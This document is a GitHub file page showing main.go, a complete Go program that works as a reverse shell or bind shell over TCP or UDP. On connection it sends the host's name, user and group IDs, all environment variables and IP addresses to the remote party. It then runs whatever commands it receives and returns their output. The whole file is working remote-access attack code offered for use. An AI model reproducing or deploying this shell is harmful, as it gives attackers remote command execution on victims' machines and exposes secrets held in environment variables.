-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmain.go
165 lines (132 loc) · 3.32 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
package main
import (
"bufio"
"flag"
"fmt"
"log"
"net"
"os"
"os/exec"
"strings"
)
func main() {
host := flag.String("h", "", "the host:ip to connect back to or bind to, e.g. 192.168.0.15:1337")
udp := flag.Bool("udp", false, "use UDP instead of the default TCP")
bind := flag.Bool("bind", false, "create a bind shell instead of the default reverse shell")
flag.Parse()
// set the protocol
protocol := "tcp"
if *udp {
protocol = "udp"
}
executable, err := os.Executable()
if err != nil {
executable = "unknown"
}
// gather environment variables
envs := "Environment Variables:\n"
for _, env := range os.Environ() {
envs = envs + "- " + env + "\n"
}
// gather system IP addresses
ips := "IP Addresses:\n"
for _, ip := range getIPs() {
ips = ips + "- " + ip.String() + "\n"
}
// write system details to the connection
details := fmt.Sprintf("Hostname: %s\nLocation: %s\nUID: %d\nGID: %d\n\n%s\n%s\n\n%s$ ", getHostname(), executable, os.Getuid(), os.Getgid(), envs, ips, getHostname())
//fmt.Fprintf(conn, "Hostname: %s\nLocation: %s\nUID: %d\nGID: %d\n\n%s\n%s\n", hostname, executable, os.Getuid(), os.Getgid(), envs, ips)
if *bind {
bindShell(protocol, *host, details)
} else {
reverseShell(protocol, *host, details)
}
}
func reverseShell(protocol string, host string, details string) {
// connect to the host
conn, err := net.Dial(protocol, host)
if err != nil {
log.Fatal("Connection failed.")
}
fmt.Fprintf(conn, details)
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
message = strings.TrimSuffix(message, "\n")
splitMessage := strings.Fields(message)
out, err := exec.Command(splitMessage[0], splitMessage[1:]...).Output()
if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n%s$ ", out, getHostname())
}
}
func bindShell(protocol string, host string, details string) {
// setup listener for incoming connections
listen, err := net.Listen(protocol, host)
if err != nil {
fmt.Println("Error: ", err.Error())
os.Exit(1)
}
defer listen.Close()
fmt.Println("Listening on", host)
for {
conn, err := listen.Accept()
if err != nil {
fmt.Println("Error accepting Connection ", err.Error())
os.Exit(1)
}
fmt.Fprintf(conn, details)
// handle connection
handleMultiBindRequest(conn, host)
}
}
func handleMultiBindRequest(conn net.Conn, hostname string) {
for {
buffer := make([]byte, 1024)
length, err := conn.Read(buffer)
if err != nil {
conn.Write([]byte("misunderstood instruction"))
}
command := string(buffer[:length-1])
parts := strings.Fields(command)
head := parts[0]
parts = parts[1:len(parts)]
// exit condition
if head == "QUIT" {
break
}
out, err := exec.Command(head, parts...).Output()
if err != nil {
conn.Write([]byte("Error during exec"))
}
fmt.Fprintf(conn, "%s\n%s$ ", string(out), getHostname())
}
conn.Close()
}
func getHostname() string {
hostname, err := os.Hostname()
if err != nil {
hostname = ""
}
return hostname
}
func getIPs() []net.IP {
var ips []net.IP
ifaces, _ := net.Interfaces()
// handle err
for _, i := range ifaces {
addrs, _ := i.Addrs()
// handle err
for _, addr := range addrs {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
ips = append(ips, ip)
}
}
return ips
}